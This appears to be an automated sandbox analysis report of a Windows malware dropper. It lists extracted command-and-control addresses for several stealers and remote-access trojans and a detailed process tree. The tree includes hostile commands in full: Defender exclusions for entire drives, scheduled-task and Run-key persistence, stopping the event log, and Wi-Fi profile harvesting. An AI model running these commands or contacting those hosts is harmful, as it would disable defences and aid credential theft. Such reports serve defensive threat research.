Analysis
- max time kernel
299s - max time network
301s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
- submitted
29/01/2024, 12:18
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample240129-pg3mqsbaap
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Malware Config
Extracted
-
stealc
-
http://185.172.128.79
-
url_path
/3886d2276f6914c4.php
Extracted
-
xworm
-
91.92.249.37:9049
-
aMtkXNimPlkESDx9
Extracted
-
amadey
-
4.17
-
http://5.42.66.29
-
install_dir
f60f0ba310
-
install_file
Dctooux.exe
-
strings_key
f34f781563773d1d56ad6459936524d1
-
url_paths
/b9djjcaSed/index.php
Extracted
-
asyncrat
-
Default
-
38.181.25.204:5858
-
ifyviyeiimfgf
-
delay
1
-
install
false
-
install_folder
%AppData%
Extracted
-
amadey
-
4.15
-
http://185.172.128.63
-
install_dir
6187fcb526
-
install_file
Dctooux.exe
-
strings_key
cd3b2619c9009c441355ae581d53163e
-
url_paths
/v8sjh3hs8/index.php
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Detect Lumma Stealer payload V2 1 IoCs
- Detect Lumma Stealer payload V4 1 IoCs
- Detect Neshta payload 1 IoCs
- Detect Xworm Payload 2 IoCs
- Detect ZGRat V1 1 IoCs
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
- Process spawned unexpected child process 39 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
- Stealc
Stealc is an infostealer written in C++.
- Xworm
Xworm is a remote access trojan written in C#.
- ZGRat
ZGRat is remote access trojan written in C#.
- Async RAT payload 1 IoCs
- DCRat payload 14 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Blocklisted process makes network request 3 IoCs
- Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- Stops running service(s) 3 TTPs
- .NET Reactor proctector 10 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 26 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 60 IoCs
- Modifies system executable filetype association 2 TTPs 1 IoCs
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 8 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 8 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 57 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 8 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 41 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Kills process with taskkill 5 IoCs
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 53 IoCs
- Modifies registry key 1 TTPs 4 IoCs
- Runs ping.exe 1 TTPs 4 IoCs
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 38 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\networa.exe"C:\Users\Admin\AppData\Local\Temp\Files\networa.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fund.exe"C:\Users\Admin\AppData\Local\Temp\Files\fund.exe"2⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\DriverHostCrtNet\jO3lbUgUCuGG0nAZHcS.vbe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\DriverHostCrtNet\ELvGRxvU.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20AH.NET.exe"C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20AH.NET.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1332 -s 11243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\u3ts.0.exe"C:\Users\Admin\AppData\Local\Temp\u3ts.0.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3968 -s 8164⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\u3ts.1.exe"C:\Users\Admin\AppData\Local\Temp\u3ts.1.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\chcp.comchcp 12515⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F5⤵
- Creates scheduled task(s)
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4960 -s 11443⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost1.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost1.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\am.exe"C:\Users\Admin\AppData\Local\Temp\Files\am.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\i.exe"C:\Users\Admin\AppData\Local\Temp\Files\i.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe"C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'A_second_wind_for_important_cases';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'A_second_wind_for_important_cases' -Value '"C:\Users\Admin\AppData\Local\A_second_wind_for_important_cases\A_second_wind_for_important_cases.exe"' -PropertyType 'String'3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\minuscrypt_crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\minuscrypt_crypted.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 4963⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\first.exe"C:\Users\Admin\AppData\Local\Temp\Files\first.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\Files\baseline.exe"C:\Users\Admin\AppData\Local\Temp\Files\baseline.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\alex.exe"C:\Users\Admin\AppData\Local\Temp\Files\alex.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\Logs.exe"C:\Users\Admin\AppData\Roaming\configurationValue\Logs.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\f60f0ba310\qemu-ga.exe"C:\Users\Admin\AppData\Local\Temp\f60f0ba310\qemu-ga.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\olehps.exe"C:\Users\Admin\AppData\Roaming\configurationValue\olehps.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"3⤵
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
-
C:\Windows\system32\findstr.exefindstr /R /C:"[ ]:[ ]"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"3⤵
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 34⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Machinegggg.exe"C:\Users\Admin\AppData\Local\Temp\Files\Machinegggg.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TrueCrypt_lXNcTC.exe"C:\Users\Admin\AppData\Local\Temp\Files\TrueCrypt_lXNcTC.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1676 -s 14403⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Opolis.exe"C:\Users\Admin\AppData\Local\Temp\Files\Opolis.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\Files\OSM-Client.exe"C:\Users\Admin\AppData\Local\Temp\Files\OSM-Client.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lada.exe"C:\Users\Admin\AppData\Local\Temp\Files\lada.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XMRig.exe"C:\Users\Admin\AppData\Local\Temp\Files\XMRig.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "ACULXOBT"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "ACULXOBT" binpath= "C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "ACULXOBT"3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\2-3-1_2023-12-14_13-35.exe"C:\Users\Admin\AppData\Local\Temp\Files\2-3-1_2023-12-14_13-35.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 73003⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\svchost.exe"C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\svchost.exe"C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"8⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe9⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"10⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe11⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"12⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe13⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"14⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe15⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"16⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe17⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"18⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe19⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"20⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe21⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"22⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe23⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"24⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe25⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe"26⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\stub.exeC:\Users\Admin\AppData\Local\Temp\3582-490\stub.exe27⤵
- Drops file in Windows directory
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\15C633~1.EXE"2⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\Files\15C633~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\15C633~1.EXE3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\1.vbs"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\Temp\tel.exe"4⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\Temp\tel.exeC:\Windows\Temp\tel.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 1566⤵
- Program crash
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\Temp\fcc.exe"4⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\Temp\fcc.exeC:\Windows\Temp\fcc.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\bebra.exe\bebra.exe6⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\Temp\jjj.exe"4⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\Temp\jjj.exeC:\Windows\Temp\jjj.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3044 -s 2406⤵
- Program crash
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1332 -ip 13321⤵
-
C:\DriverHostCrtNet\comSvc.exe"C:\DriverHostCrtNet\comSvc.exe"1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6bOuYaabJ9.bat"2⤵
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:23⤵
-
-
C:\DriverHostCrtNet\4363463463464363463463463.exe"C:\DriverHostCrtNet\4363463463464363463463463.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ae9414f3-5cc8-4ee3-b156-8e00e0d505c5.vbs"4⤵
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5feb41f3-71ea-4ee5-8080-cc28895b2a1d.vbs"4⤵
-
C:\DriverHostCrtNet\4363463463464363463463463.exeC:\DriverHostCrtNet\4363463463464363463463463.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/DriverHostCrtNet/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\dwm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\MoUsoCoreWorker.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\MoUsoCoreWorker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\MoUsoCoreWorker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
